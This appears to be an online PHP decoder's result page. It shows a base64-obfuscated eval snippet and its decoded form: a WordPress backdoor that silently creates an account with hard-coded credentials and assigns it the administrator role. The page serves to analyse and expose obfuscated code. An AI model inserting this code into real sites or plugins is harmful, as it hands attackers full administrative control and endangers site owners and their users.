Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(base64_decode("JG4gPSAnd29yZHByZXNzYXV0byc7DQokcCA9ICd3b3JkcHJlc3NxZDIwMTYnOw0KJGUgPS..
Decoded Output download
$n = 'wordpressauto';
$p = 'wordpressqd2016';
$e = '[email protected]';
if (!username_exists($n) && !email_exists($e)) {
$u = wp_create_user($n, $p, $e);
if (is_int($u)) {
(new WP_User($u))->set_role('administrator');
}
}
Did this file decode correctly?
Original Code
eval(base64_decode("JG4gPSAnd29yZHByZXNzYXV0byc7DQokcCA9ICd3b3JkcHJlc3NxZDIwMTYnOw0KJGUgPSAnb3BwX29uZXBpZWNlMDB4eDAwQGdtYWlsLmNvbSc7DQppZiAoIXVzZXJuYW1lX2V4aXN0cygkbikgJiYgIWVtYWlsX2V4aXN0cygkZSkpIHsNCiAgICAkdSA9IHdwX2NyZWF0ZV91c2VyKCRuLCAkcCwgJGUpOw0KICAgIGlmIChpc19pbnQoJHUpKSB7DQogICAgICAgIChuZXcgV1BfVXNlcigkdSkpLT5zZXRfcm9sZSgnYWRtaW5pc3RyYXRvcicpOw0KICAgIH0NCn0="));
Function Calls
base64_decode | 1 |
Stats
MD5 | 613fb22e3a81ab74a3cb92acbe6f426b |
Eval Count | 1 |
Decode Time | 52 ms |